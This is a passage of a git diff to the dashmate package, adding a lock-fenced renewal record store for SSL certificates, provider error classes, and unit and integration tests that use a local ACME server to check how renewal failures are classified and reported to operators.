mark and then acting on it is only a guard if + * nothing can claim in between. Two processes reading the same number and + * both claiming it, or a superseded holder resuming after a newer one has + * written, would each pass a check that was true when it was made and false + * by the time it mattered - and the configuration lock does not cover this, + * because a renewal releases that before its bookkeeping runs. + * + * @param {string} configName + * @param {function(): *} fn + * @return {*} + */ + #fenced(configName, fn) { + const generationPath = this.#generationPath(configName); + + fs.mkdirSync(path.dirname(generationPath), { recursive: true }); + + const { token, release } = this.#acquire(generationPath); + const lockPath = `${generationPath}.lock`; + + // Checked immediately before every mutation, not only when the lock was + // taken. A holder suspended for longer than the stale threshold has its + // lock reclaimed and another process may already have written newer state; + // when it resumes it must not overwrite that. Holding the lock at the start + // says nothing about holding it at the moment of the write. + const stillOurs = () => { + try { + return fs.readFileSync(lockPath, 'utf8') === token; + } catch { + return false; + } + }; + + try { + if (!fs.existsSync(generationPath)) { + // Created under the lock, not before it: two processes reaching an + // unclaimed fence would otherwise both find it absent and both write + // zero, and the loser would claim a generation already taken. + // + // Thrown rather than returned. `claimGeneration` promises a number and + // its callers carry the result as one; handing back a sentinel here + // meant a chain went on holding `false` as its generation, and every + // later write was fenced out by a comparison against it - recording + // nothing, quietly, which is the one outcome this whole record exists + // to prevent. + if (!stillOurs()) { + throw new Error('The renewal fence was taken over while it was being created'); + } + + writeFileAtomic.sync(generationPath, '0\n', { encoding: 'utf8', mode: RECORD_FILE_MODE }); + } + + return fn(stillOurs); + } finally { + try { + release(); + } catch { + // Releasing reports when the lock was already broken as stale. Nothing + // thrown here may replace the outcome the caller actually needs. + } + } + } + + /** + * Take the fence, waiting out a holder rather than failing on first contention. + * + * An exclusive create rather than a lock library: this runs on the helper's + * only thread, inside a cron callback, and in tests that replace the global + * timers - so a fence that depends on a timer to stay alive is a fence that + * can fail for reasons having nothing to do with renewal. An exclusive + * create needs no timer and no refresh. + * + * @param {string} generationPath + * @return {{token: string, release: function}} + */ + #acquire(generationPath) { + const lockPath = `${generationPath}.lock`; + const deadline = Date.now() + LOCK_ACQUIRE_TIMEOUT_MS; + + for (;;) { + try { + // The holder writes who it is. Without that, a holder whose lock was + // broken as stale still releases on its way out and deletes whatever + // lock is there by then - which is the new holder's, leaving two + // processes believing they hold the same fence. + const token = `${process.pid}.${randomUUID()}`; + const handle = fs.openSync(lockPath, 'wx'); + + try { + fs.writeFileSync(handle, token); + } finally { + fs.closeSync(handle); + } + + const release = () => { + try { + // Read-then-remove, which is not atomic. A contender that reclaims + // this lock as stale between the two would have its own lock + // removed - and the generation, not this lock, is what stops the + // superseded writer from overwriting newer state. + if (fs.readFileSync(lockPath, 'utf8') === token) { + fs.rmSync(lockPath, { force: true }); + } + } catch { + // Already gone, or taken over. Either way it is not ours to + // remove, and nothing thrown here may replace the caller's outcome. + } + }; + + return { token, release }; + } catch (e) { + if (e.code !== 'EEXIST') { + throw e; + } + + // Reclaimed by age. Asking whether the recorded process still exists + // would be a better question and cannot be asked here: the helper holds + // this lock from inside a container that bind-mounts the same home + // directory, so its pids and the host CLI's come from different + // namespaces and are not comparable. A pid read here may name an + // unrelated live process, or nothing at all. + // + // The generation handles ordinary supersession - a superseded chain is + // refused by `#isCurrent` whatever this lock says - but it does not + // make the pairing correct, and saying so would overclaim. Callers may + // pass no generation at all, and a check and the mutation it authorises + // are separate operations either way. + // + // What remains, stated exactly: a holder suspended by the OS for more + // than the threshold below, across a few synchronous filesystem calls, + // while another process completes a takeover and a newer mutation, and + // then resumes last. A kernel advisory lock would have the right + // semantics - held through suspension, released when the process dies - + // but Node exposes no `flock`, this package has no native locking + // dependency, and coherence between a macOS host and a Linux container + // through Docker's file sharing is unproven. Adopting one needs that + // proof first; until then this is an operational compromise rather than + // a formal guarantee. + try { + if (Date.now() - fs.statSync(lockPath).mtimeMs > LOCK_STALE_MS) { + fs.rmSync(lockPath, { force: true }); + + continue; + } + } catch { + continue; + } + + if (Date.now() >= deadline) { + throw new Error(`Timed out waiting for the renewal fence at '${lockPath}'`); + } + + // Synchronous by necessity: there is no event loop to yield to here, + // and every holder keeps the fence for a handful of filesystem calls. + Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, LOCK_RETRY_INTERVAL_MS); + } + } + } + + #readGeneration(configName) { + let contents; + + try { + contents = fs.readFileSync(this.#generationPath(configName), 'utf8'); + } catch (e) { + // No fence yet is the ordinary first-run case and means nobody has been + // superseded. Any other failure means the fence exists and cannot be + // read, which is not the same thing - treating it as absent would let + // every superseded writer through exactly when the guard is needed. + if (e.code === 'ENOENT') { + return 0; + } + + throw e; + } + + const parsed = Number.parseInt(contents, 10); + + // A fence that exists and cannot be understood is not an absent one. + // Reading it as zero is what an absent fence reads as, so it would let + // every superseded writer through at exactly the moment it is needed. + if (!Number.isInteger(parsed) || parsed < 0) { + throw new Error(`The renewal generation at '${this.#generationPath(configName)}' is not a` + + ' number, so dashmate cannot tell which renewal attempt is current'); + } + + return parsed; + } + + /** + * Take the next generation, making every earlier holder superseded. + * + * Claimed once per scheduling chain, and again by a certificate installed by + * hand - whoever acts now outranks an attempt still in flight from before. + * + * @param {string} configName + * @return {number} + */ + claimGeneration(configName) { + return this.#fenced(configName, (stillOurs) => { + const next = this.#readGeneration(configName) + 1; + + if (!stillOurs()) { + throw new Error('The renewal fence was taken over while this claim was in progress'); + } + + writeFileAtomic.sync( + this.#generationPath(configName), + `${next}\n`, + { encoding: 'utf8', mode: RECORD_FILE_MODE }, + ); + + return next; + }); + } + + /** + * Whether a holder of this generation may still write. + * + * @param {string} configName + * @param {number|null} generation + * @return {boolean} + */ + #isCurrent(configName, generation) { + // An unfenced caller is one that predates the fence or has no chain of its + // own; it is not superseded by anything. + if (generation === null || generation === undefined) { + return true; + } + + return generation >= this.#readGeneration(configName); + } + + /** + * @param {HomeDir} homeDir + */ + constructor(homeDir) { + this.homeDir = homeDir; + } + + /** + * Where the record for one config lives. + * + * Beside the certificate it describes: invalidated by the same events, + * removed by the same reset, and inside a directory the helper already + * writes to. The gateway mounts `bundle.crt` and `private.key` individually + * rather than the directory, so nothing here reaches Envoy. + * + * @param {string} configName + * @return {string} + */ + getPath(configName) { + return this.homeDir.joinPath(configName, 'platform', 'gateway', 'ssl', 'renewal.json'); + } + + /** + * Read what the helper recorded about the last renewal for one config. + * + * @param {string} configName + * @return {{state: string, path: string, record: RenewalRecord|null, error: string|null}} + */ + read(configName) { + const recordPath = this.getPath(configName); + + let contents; + + try { + contents = fs.readFileSync(recordPath, 'utf8'); + } catch (e) { + if (e.code === 'ENOENT') { + return { + state: RENEWAL_RECORD_STATES.ABSENT, path: recordPath, record: null, error: null, + }; + } + + // The message only, never the error. Neither `message` nor `stack` is + // enumerable, so an error object placed in a collected report is + // invisible to the masking applied to it - it would carry the operator's + // home directory out intact and arrive as an empty object at the far end. + return { + state: RENEWAL_RECORD_STATES.UNREADABLE, + path: recordPath, + record: null, + error: String(e.message), + }; + } + + let parsed; + + try { + parsed = JSON.parse(contents); + } catch (e) { + return { + state: RENEWAL_RECORD_STATES.UNREADABLE, + path: recordPath, + record: null, + error: String(e.message), + }; + } + + const record = RenewalRecord.fromObject(parsed); + + if (record === null) { + return { + state: RENEWAL_RECORD_STATES.UNREADABLE, + path: recordPath, + record: null, + error: 'The renewal record does not describe a renewal outcome', + }; + } + + return { + state: RENEWAL_RECORD_STATES.PRESENT, path: recordPath, record, error: null, + }; + } + + /** + * @param {string} configName + * @param {RenewalRecord} record + * @param {number|null} [generation] - refuses the write when superseded + * @return {boolean} whether the write was applied + */ + write(configName, record, generation = null) { + return this.#fenced(configName, (stillOurs) => { + // A superseded chain must not describe a node it no longer renews. Its + // configuration changed under it, and the chain that took over has + // already written what is true now. + if (!this.#isCurrent(configName, generation) || !stillOurs()) { + return false; + } + + return this.#writeRecord(configName, record); + }); + } + + /** + * @param {string} configName + * @param {RenewalRecord} record + * @return {boolean} + */ + #writeRecord(configName, record) { + const recordPath = this.getPath(configName); + + // The directory belongs to the certificate and is created when one is first + // saved, so a node that has never obtained one does not have it yet - which + // is exactly the node whose renewal is worth recording. + fs.mkdirSync(path.dirname(recordPath), { recursive: true }); + + // Replaced by rename, so a reader never sees half a record. Safe here only + // because nothing mounts this file: the certificate beside it is + // bind-mounted into the gateway individually and has to be written in place. + writeFileAtomic.sync( + recordPath, + `${JSON.stringify(record.toObject(), undefined, 2)}\n`, + { encoding: 'utf8', mode: RECORD_FILE_MODE }, + ); + + return true; + } + + /** + * Forget what was recorded for this config. + * + * Used when renewal stops being a provider's concern - SSL turned off, or a + * provider switch - and when a certificate is installed by hand, which + * settles any failure that came before it. + * + * @param {string} configName + * @param {number|null} [generation] - refuses the removal when superseded + * @return {boolean} whether the removal was applied + */ + remove(configName, generation = null) { + return this.#fenced(configName, (stillOurs) => { + if (!this.#isCurrent(configName, generation) || !stillOurs()) { + return false; + } + + fs.rmSync(this.getPath(configName), { force: true }); + + return true; + }); + } +} diff --git a/packages/dashmate/src/ssl/zerossl/requestApi.js b/packages/dashmate/src/ssl/zerossl/requestApi.js index df411919539..08f3619dfc2 100644 --- a/packages/dashmate/src/ssl/zerossl/requestApi.js +++ b/packages/dashmate/src/ssl/zerossl/requestApi.js @@ -1,4 +1,6 @@ import errorDescriptions from './errors/errorDescriptions.js'; +import ProviderUnreachableError from '../errors/ProviderUnreachableError.js'; +import ProviderCredentialsRejectedError from '../errors/ProviderCredentialsRejectedError.js'; const INVALID_API_KEY_MESSAGE = 'Invalid ZeroSSL API key'; const INVALID_API_RESPONSE_MESSAGE = 'Invalid ZeroSSL API response'; @@ -41,7 +43,7 @@ function redactApiKey(value, apiKey) { */ function createHeaders(apiKey, sourceHeaders) { if (typeof apiKey !== 'string' || apiKey.length === 0 || apiKey.trim() !== apiKey) { - throw new Error(INVALID_API_KEY_MESSAGE); + throw new ProviderCredentialsRejectedError(INVALID_API_KEY_MESSAGE); } const authorization = `ApiKey ${apiKey}`; @@ -51,12 +53,12 @@ function createHeaders(apiKey, sourceHeaders) { headers.set('Authorization', authorization); if (headers.get('Authorization') !== authorization) { - throw new Error(INVALID_API_KEY_MESSAGE); + throw new ProviderCredentialsRejectedError(INVALID_API_KEY_MESSAGE); } return headers; } catch { - throw new Error(INVALID_API_KEY_MESSAGE); + throw new ProviderCredentialsRejectedError(INVALID_API_KEY_MESSAGE); } } @@ -75,13 +77,23 @@ export default async function requestApi(apiKey, url, options) { headers, }; - const response = await fetch(url, requestOptions); + // Wrapped where the request is made. `fetch failed` is the only account Node + // gives of a transport failure, and recognising those words further down + // would let any text carrying them - including a page this node's own + // address served back - be read as this node's network failing. + let response; + + try { + response = await fetch(url, requestOptions); + } catch (e) { + throw new ProviderUnreachableError(e.message); + } let data; try { data = await response.json(); } catch { - throw new Error(INVALID_API_RESPONSE_MESSAGE); + throw new ProviderUnreachableError(INVALID_API_RESPONSE_MESSAGE); } if (data.error) { diff --git a/packages/dashmate/test/bootstrap.js b/packages/dashmate/test/bootstrap.js index 1488dce8609..fd69a187dd4 100644 --- a/packages/dashmate/test/bootstrap.js +++ b/packages/dashmate/test/bootstrap.js @@ -10,7 +10,6 @@ use(dirtyChai); process.env.NODE_ENV = 'test'; -// eslint-disable-next-line import-x/prefer-default-export export const mochaHooks = { beforeEach() { if (!this.sinon) { diff --git a/packages/dashmate/test/e2e/testnetEvonode.spec.js b/packages/dashmate/test/e2e/testnetEvonode.spec.js index fe998ac3428..c1acc163694 100644 --- a/packages/dashmate/test/e2e/testnetEvonode.spec.js +++ b/packages/dashmate/test/e2e/testnetEvonode.spec.js @@ -186,7 +186,6 @@ describe('Testnet Evonode', function main() { const json = await response.json(); - // eslint-disable-next-line no-unused-expressions expect(json.result).to.be.defined; const scope = JSON.parse(json.result); diff --git a/packages/dashmate/test/integration/ssl/letsencryptPebble.spec.js b/packages/dashmate/test/integration/ssl/letsencryptPebble.spec.js index f1698e04c90..f9656fb4855 100644 --- a/packages/dashmate/test/integration/ssl/letsencryptPebble.spec.js +++ b/packages/dashmate/test/integration/ssl/letsencryptPebble.spec.js @@ -11,6 +11,11 @@ import HomeDir from '../../../src/config/HomeDir.js'; import getBaseConfigFactory from '../../../configs/defaults/getBaseConfigFactory.js'; import isCertificatePairInstalled from '../../../src/ssl/letsencrypt/isCertificatePairInstalled.js'; import renewCertificate from '../../../src/helper/renewCertificate.js'; +import classifyRenewalFailure, { + MAX_DETAIL_CHARS, + RENEWAL_FAILURE_CODES, +} from '../../../src/ssl/renewal-failure.js'; +import { recordRenewalFailure } from '../../../src/helper/record-renewal-outcome.js'; /** * Obtain a certificate from a real ACME server. @@ -239,8 +244,17 @@ describe('Let\'s Encrypt certificate against a local ACME server', function main pebbleContainer = await docker.createContainer({ Image: PEBBLE_IMAGE, Cmd: ['-config', '/test/config/pebble-config.json'], - // Without this Pebble sleeps before validating, for no benefit here. - Env: ['PEBBLE_VA_NOSLEEP=1'], + Env: [ + // Without this Pebble sleeps before validating, for no benefit here. + 'PEBBLE_VA_NOSLEEP=1', + // Pebble rejects a share of nonces on purpose, to exercise a client's + // retry. lego retries and usually survives it - but when it does not, + // the attempt fails on the nonce and never reaches validation, so a + // case written to exercise a port-80 failure silently tests something + // else. What happens when a survived nonce sits beside a real failure + // is pinned deterministically in the unit tests instead. + 'PEBBLE_WFE_NONCEREJECT=0', + ], HostConfig: { AutoRemove: true, NetworkMode: networkName, @@ -577,4 +591,148 @@ describe('Let\'s Encrypt certificate against a local ACME server', function main expect(after.paired).to.be.true(); }); }); + + /** + * The two causes an operator actually meets, produced by a real authority. + * + * The classifier branches on the ACME problem type, and every test that + * pinned that branch until now supplied the problem document itself - so + * they proved the mapping and assumed the input. These obtain the input by + * breaking validation the same two ways a node breaks it: nothing answers on + * port 80, and something answers that is not this node. + * + * Pebble is not Boulder. What this establishes is that a server implementing + * RFC 8555 produces these types for these two conditions and that dashmate + * reads them, not that Let's Encrypt phrases every refusal the same way. + */ + describe('failures produced by a real authority', () => { + // Small, and its httpd needs no configuration file to answer wrongly. + const DECOY_IMAGE = 'busybox:latest'; + + let decoyContainer; + let unreachableIp; + let decoyIp; + + before(async () => { + const octets = legoIp.split('.').slice(0, 3); + + unreachableIp = [...octets, '9'].join('.'); + decoyIp = [...octets, '4'].join('.'); + + await new Promise((resolve, reject) => { + docker.pull(DECOY_IMAGE, (err, stream) => { + if (err) { + reject(err); + return; + } + docker.modem.followProgress(stream, (e) => (e ? reject(e) : resolve())); + }); + }); + + decoyContainer = await docker.createContainer({ + Image: DECOY_IMAGE, + // An empty document root, so the challenge path gets a 404 - the shape + // of a router page or an unrelated web server holding this address. + Cmd: ['httpd', '-f', '-p', '80', '-h', '/tmp'], + HostConfig: { + AutoRemove: true, + NetworkMode: networkName, + }, + NetworkingConfig: { + EndpointsConfig: { + [networkName]: { IPAMConfig: { IPv4Address: decoyIp } }, + }, + }, + }); + + await decoyContainer.start(); + }); + + after(async () => { + if (decoyContainer) { + await decoyContainer.stop().catch(() => {}); + } + }); + + /** + * Ask for a certificate covering an address validation cannot succeed for. + * + * @param {string} name + * @param {string} externalIp + * @return {Promise} + */ + async function failObtaining(name, externalIp) { + const target = new Config(name, getBaseConfigFactory(homeDir)().getOptions()); + + target.set('externalIp', externalIp); + target.set('platform.gateway.ssl.providerConfigs.letsencrypt.email', null); + target.set( + 'platform.gateway.ssl.providerConfigs.letsencrypt.acmeDirectoryUrl', + `https://${PEBBLE_HOSTNAME}:${PEBBLE_ACME_PORT}/dir`, + ); + + const obtainLetsEncryptCertificateTask = container.resolve('obtainLetsEncryptCertificateTask'); + + try { + await obtainLetsEncryptCertificateTask(target).run({ force: true }); + } catch (e) { + return e; + } + + throw new Error(`Obtaining a certificate for ${externalIp} was expected to fail`); + } + + it('should read nothing answering on port 80 as an unreachable port', async () => { + const error = await failObtaining('unreachable', unreachableIp); + + // The branch keys on this token. Asserting it is what makes the mapping + // below evidence rather than a restatement of the fixture behind it. + expect(error.message).to.include('urn:ietf:params:acme:error:connection'); + + expect(classifyRenewalFailure(error, { provider: 'letsencrypt' }).code) + .to.equal(RENEWAL_FAILURE_CODES.PORT_80_UNREACHABLE); + }); + + it('should read the wrong thing answering on port 80 as a wrong responder', async () => { + const error = await failObtaining('wrongresponder', decoyIp); + + expect(error.message).to.include('urn:ietf:params:acme:error:unauthorized'); + + expect(classifyRenewalFailure(error, { provider: 'letsencrypt' }).code) + .to.equal(RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER); + }); + + // The whole write path on a real error: two thousand characters of lego + // output, across a dozen lines, reduced to the one bounded line a reader + // is shown. Redaction is measured in the unit tests, which can supply the + // inputs worth redacting; what this adds is that a real authority's output + // survives the reduction with its verdict intact. + it('should reduce a real failure to one bounded line that still carries the verdict', async () => { + const error = await failObtaining('recorded', decoyIp); + const renewalRecordRepository = container.resolve('renewalRecordRepository'); + + recordRenewalFailure({ + renewalRecordRepository, + homeDir, + configName: 'recorded', + provider: 'letsencrypt', + error, + }); + + const { record } = renewalRecordRepository.read('recorded'); + + expect(record.getCode()).to.equal(RENEWAL_FAILURE_CODES.PORT_80_WRONG_RESPONDER); + + const detail = record.getDetail(); + + // Something has to survive, or the record answers nothing. + expect(detail).to.include('urn:ietf:params:acme:error:unauthorized'); + expect(detail).to.not.include(homeDir.getPath()); + expect(detail.length).to.be.at.most(MAX_DETAIL_CHARS); + // One line: the reduction is what keeps a record readable, and lego's + // output is a dozen lines of banner and progress around the verdict. + expect(detail.split('\n')).to.have.lengthOf(1); + expect(error.message.length).to.be.above(MAX_DETAIL_CHARS); + }); + }); }); diff --git a/packages/dashmate/test/unit/commands/update.spec.js b/packages/dashmate/test/unit/commands/update.spec.js index 0f1b4f3272d..788f1d67221 100644 --- a/packages/dashmate/test/unit/commands/update.spec.js +++ b/packages/dashmate/test/unit/commands/update.spec.js @@ -1,5 +1,6 @@ import UpdateCommand from '../../../src/commands/update.js'; import HomeDir from '../../../src/config/HomeDir.js'; +import RenewalRecordRepository from '../../../src/ssl/renewalRecord/RenewalRecordRepository.js'; import getBaseConfigFactory from '../../../configs/defaults/getBaseConfigFactory.js'; import updateNodeFactory from '../../../src/update/updateNodeFactory.js'; import CertificateUnresolvedError from '../../../src/ssl/errors/CertificateUnresolvedError.js'; @@ -14,6 +15,7 @@ describe('Update command', () => { let mockDockerStream; let mockDockerResponse; let dockerCompose; + let homeDir; let stderr; let exitCode; @@ -67,11 +69,17 @@ describe('Update command', () => { checkGatewayCertificate, gatewayCertificateTask, dockerCompose, + new RenewalRecordRepository(homeDir), ); } beforeEach(function it() { - const getBaseConfig = getBaseConfigFactory(HomeDir.createTemp()); + // The command reads the recorded renewal outcome from here, so it needs a + // real directory rather than a stub - an absent record is a state the + // guidance handles, and it is the one these tests are in. + homeDir = HomeDir.createTemp(); + + const getBaseConfig = getBaseConfigFactory(homeDir); config = getBaseConfig(); config.set('network', 'mainnet'); diff --git a/packages/dashmate/test/unit/docsLinks.spec.js b/packages/dashmate/test/unit/docsLinks.spec.js new file mode 100644 index 00000000000..c8176261242 --- /dev/null +++ b/packages/dashmate/test/unit/docsLinks.spec.js @@ -0,0 +1,19 @@ +import { DOCS_LINKS } from '../../src/docsLinks.js'; + +describe('DOCS_LINKS', () => { + // dashmate has already shipped links that answered 404. A command's whole + // value is that what it tells an operator is true, so a dead link costs more + // than the guidance it was meant to carry. + it('should be well-formed documentation links', () => { + Object.entries(DOCS_LINKS).forEach(([name, url]) => { + expect(url, name).to.match(/^https:\/\/docs\.dash\.org\/\S+$/); + expect(url, `${name} has no trailing space`).to.equal(url.trim()); + }); + }); + + it('should not repeat a target under two names', () => { + const urls = Object.values(DOCS_LINKS); + + expect(new Set(urls).size, 'each link appears once').to.equal(urls.length); + }); +}); diff --git a/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js index a6d4d9e85e7..637fab2afb6 100644 --- a/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js +++ b/packages/dashmate/test/unit/doctor/analyse/analyseConfigFactory.spec.js @@ -208,4 +208,106 @@ describe('analyseConfigFactory', () => { expect(problems).to.be.empty(); }); + + // These checks predate the renewal record and each ends in its own request. + // They run before the renewal-aware analyser in the same report, so a node + // whose recorded cause forbids asking again would read "do not obtain" from + // one and a runnable command from the other - and follow the command. + describe('when the renewal record forbids another request', () => { + /** + * @param {Object} renewal + * @return {Problem[]} + */ + function analyseWithRecord(renewal) { + samples.setServiceInfo('gateway', 'certificateRenewal', renewal); + + return analyseSslSample({ + error: 'CERTIFICATE_EXPIRES_SOON', + data: { certificate: { expires: '2026-01-01' } }, + }, 'letsencrypt'); + } + + it('should withhold its own request when an issuance is outstanding', () => { + const [problem] = analyseWithRecord({ + state: 'PRESENT', + provider: 'letsencrypt', + outcome: 'failed', + code: 'CERTIFICATE_ISSUED_NOT_SAVED', + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + issuanceSpentAt: new Date().toISOString(), + }); + + expect(problem.getSolution()).to.not.contain('ssl obtain'); + expect(problem.getSolution()).to.contain('could not be saved'); + }); + + it('should withhold it when the record cannot be read', () => { + const [problem] = analyseWithRecord({ state: 'UNREADABLE', error: 'not json' }); + + expect(problem.getSolution()).to.not.contain('ssl obtain'); + }); + + // Quota and plan failures produce a provider switch, not an outright + // refusal. These remedies ask the same provider for another certificate, + // while the renewal-aware analyser in the same report says that provider + // will never issue one again. + it('should withhold its own request when the provider must be switched', () => { + const [problem] = analyseWithRecord({ + state: 'PRESENT', + provider: 'letsencrypt', + outcome: 'failed', + code: 'QUOTA_EXHAUSTED', + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + }); + + expect(problem.getSolution()).to.contain('--provider letsencrypt'); + }); + + // The configuration watcher hands over without clearing the old provider's + // record, so a stale one must not suppress a request that is now valid. + it('should ignore a record left by a provider no longer in use', () => { + const [problem] = analyseWithRecord({ + state: 'PRESENT', + provider: 'zerossl', + outcome: 'failed', + code: 'CERTIFICATE_ISSUED_NOT_SAVED', + attemptedAt: new Date().toISOString(), + consecutiveFailures: 1, + issuanceSpentAt: new Date().toISOString(), + }); + + expect(problem.getSolution()).to.contain('ssl obtain'); + }); + + // A certificate installed after the recorded failure overtakes it. The + // renewal-aware analyser already ignores such a record; without the same + // input here, this one would replace a valid repair with stale guidance + // and the two would contradict each other in the same report. + it('should ignore a failure a newer certificate has overtaken', () => { + samples.setServiceInfo('gateway', 'installedCertificate', { + validFrom: new Date(Date.now() - 60 * 60 * 1000).toISOString(), + }); + + const [problem] = analyseWithRecord({ + state: 'PRESENT', + provider: 'letsencrypt', + outcome: 'failed', + code: 'CERTIFICATE_ISSUED_NOT_SAVED', + // Two hours ago, so the installed certificate came after it. + attemptedAt: new Date(Date.now() - 2 * 60 * 60 * 1000).toISOString(), + consecutiveFailures: 1, + issuanceSpentAt: new Date(Date.now() - 2 * 60 * 60 * 1000).toISOString(), + }); + + expect(problem.getSolution()).to.contain('ssl obtain'); + }); + + it('should still print it when nothing forbids one', () => { + const [problem] = analyseWithRecord({ state: 'ABSENT' }); + + expect(problem.getSolution()).to.contain('ssl obtain'); + }); + }); }); diff --git a/packages/dashmate/test/unit/doctor/analyse/analyseGatewayCertificateFactory.spec.js b/packages/dashmate/test/unit/doctor/analyse/analyseGatewayCertificateFactory.spec.js index 271927696ff..962e1424a68 100644 --- a/packages/dashmate/test/unit/doctor/analyse/analyseGatewayCertificateFactory.spec.js +++ b/packages/dashmate/test/unit/doctor/analyse/analyseGatewayCertificateFactory.spec.js @@ -2,6 +2,7 @@ import getBaseConfigFactory from '../../../../configs/defaults/getBaseConfigFact import analyseGatewayCertificateFactory from '../../../../src/doctor/analyse/analyseGatewayCertificateFactory.js'; import { SEVERITY } from '../../../../src/doctor/Prescription.js'; import Samples from '../../../../src/doctor/Samples.js'; +import { DOCS_LINKS } from '../../../../src/docsLinks.js'; const EXTERNAL_IP = '198.51.100.7'; @@ -735,4 +736,686 @@ describe('analyseGatewayCertificateFactory', () => { }); }); }); + + describe('renewal record', () => { + const DAY_MS = 24 * 60 * 60 * 1000; + + /** + * @param {Object} overrides + */ + function renewalFailed(overrides = {}) { + samples.setServiceInfo('gateway', 'certificateRenewal', { + state: 'PRESENT', + path: '~/.dashmate/base/platform/gateway/ssl/renewal.json', + error: null, + provider: 'letsencrypt', + outcome: 'failed', + code: 'PORT_80_UNREACHABLE', + detail: 'acme: error: 400 :: urn:ietf:params:acme:error:connection :: timeout', + attemptedAt: new Date(Date.now() - 30 * 60 * 1000).toISOString(), + lastSuccessAt: new Date(Date.now() - 5 * DAY_MS).toISOString(), + consecutiveFailures: 37, + issuanceSpentAt: null, + issuanceUncertainAt: null, + gatewayReloadFailedAt: null, + ...overrides, + }); + } + + /** + * @param {Object} overrides + */ + function installedValid(overrides = {}) { + samples.setServiceInfo('gateway', 'installedCertificate', { + status: 'CHECKS_PASSED', + reasons: [], + warnings: [], + fingerprint256: 'AA:BB', + validTo: validTo(2), + validFrom: new Date(Date.now() - 4 * DAY_MS).toUTCString(), + ...overrides, + }); + } + + beforeEach(() => { + config.set('platform.gateway.ssl.enabled', true); + config.set('platform.gateway.ssl.provider', 'letsencrypt'); + }); + + it('should warn a node that works today and goes dark in days', () => { + // The whole point of the record. Every other check calls this node + // healthy - the certificate is valid and being served - and it is the + // last certificate this node will get unless the cause is repaired. + installedValid(); + renewalFailed(); + + const problems = analyse(served()); + + const renewal = problems.find((p) => p.getDescription().includes('not being renewed')); + + expect(renewal).to.exist(); + expect(renewal.getSeverity()).to.equal(SEVERITY.HIGH); + expect(renewal.getDescription()).to.contain('could not reach this node on port 80'); + }); + + it('should tell the operator when it stops working, which is the only number that matters', () => { + installedValid({ validTo: validTo(2) }); + renewalFailed(); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getDescription()) + .to.contain(new Date(Date.now() + 2 * DAY_MS).toISOString().slice(0, 10)); + }); + + // It said "do not obtain another certificate yet" and then printed the + // command underneath. A problem that ends in a runnable command is an + // instruction to run it, and this is the one state where running it spends + // a second weekly certificate on a fault no certificate repairs. + it('should not print a request beneath the sentence withholding it', () => { + installedValid(); + renewalFailed({ + code: 'CERTIFICATE_ISSUED_NOT_SAVED', + issuanceSpentAt: new Date(Date.now() - 60 * 60 * 1000).toISOString(), + }); + + const [renewal] = analyse(served()) + .filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('Do not obtain another certificate yet'); + expect(renewal.getSolution()).to.not.contain('ssl obtain'); + }); + + // A sample can say PRESENT and still not parse - a damaged archive, a + // format from a later build, or one supplied by someone else. Checking only + // the state left the record null with nothing marking it unreadable, and + // the derivation then read that as "nothing recorded" and allowed a request. + it('should withhold when a present record does not parse', () => { + installedValid({ + status: 'INVALID', + validTo: validTo(-1), + reasons: [{ code: 'EXPIRED', message: 'The installed certificate expired' }], + }); + samples.setServiceInfo('gateway', 'certificateRenewal', { + state: 'PRESENT', + path: '~/.dashmate/base/platform/gateway/ssl/renewal.json', + error: null, + // No outcome and no attemptedAt: nothing a record can be built from. + provider: 'letsencrypt', + }); + + const problems = analyse(served()); + const solutions = problems.map((p) => p.getSolution()).join('\n'); + + expect(solutions).to.not.contain('ssl obtain'); + }); + + // Which of the two port-80 causes gets named comes from text the authority + // quotes back, and it quotes whatever answered on that port. The action is + // the same either way, but the instructions were not: one said open the + // firewall, the other said find the proxy. Each now names the other, so a + // misread costs a sentence rather than an afternoon. + [ + ['an unreachable port', 'PORT_80_UNREACHABLE', 'something else is answering'], + ['a wrong responder', 'PORT_80_WRONG_RESPONDER', 'check the port'], + ].forEach(([name, code, alternative]) => { + it(`should name the other possibility for ${name}`, () => { + installedValid(); + renewalFailed({ code }); + + const [renewal] = analyse(served()) + .filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain(alternative); + }); + }); + + // dashmate's own check answers the same way for nothing replying and for + // something replying wrongly, so it must not prescribe one of them. + it('should not prescribe a firewall repair for a check that cannot tell', () => { + installedValid(); + renewalFailed({ code: 'PORT_80_CHECK_FAILED' }); + + const [renewal] = analyse(served()) + .filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('Either nothing reached this node'); + expect(renewal.getSolution()).to.contain("ss -lntp"); + }); + + it('should offer the check that tells an operator whether their repair worked', () => { + // There is no other way to find out. dashmate cannot test its own + // inbound port 80, because nothing listens there except during a + // renewal - which is why an external port check reads closed on a + // healthy node. Sending them away for an hour to learn whether they got + // it right is how a node stays broken: they leave, they forget, the + // certificate expires. + installedValid(); + renewalFailed(); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('ssl obtain'); + expect(renewal.getSolution()).to.contain('retries by itself'); + }); + + it('should never claim renewal has been failing since it last succeeded', () => { + // The record knows when renewal last worked and that everything since + // has failed. It does not know when the failures started, and on a + // ninety-day certificate those are months apart. + installedValid(); + renewalFailed(); + + const [renewal] = analyse(served()).filter((p) => p.getDescription().includes('not being renewed')); + + expect(renewal.getSolution()).to.contain('Last renewed'); + expect(renewal.getDescription()).to.not.contain('failing since'); + expect(renewal.getSolution()).to.not.contain('failing since'); + // The counter counts scheduler wake-ups, not attempts. + expect(renewal.getDescription()).to.not.contain('37'); + expect(renewal.getSolution()).to.not.contain('37'); + }); + + it('should name the cause instead of sending an operator to the logs', () => { + // The sentence this work exists to delete. + installedValid({ status: 'INVALID', validTo: validTo(-1) }); + renewalFailed(); + + const problems = analyse(served({ certificate: { fingerprint256: 'AA:BB', validTo: validTo(-1) } })); + + const expired = problems.find((p) => p.getDescription().includes('expired')); + + 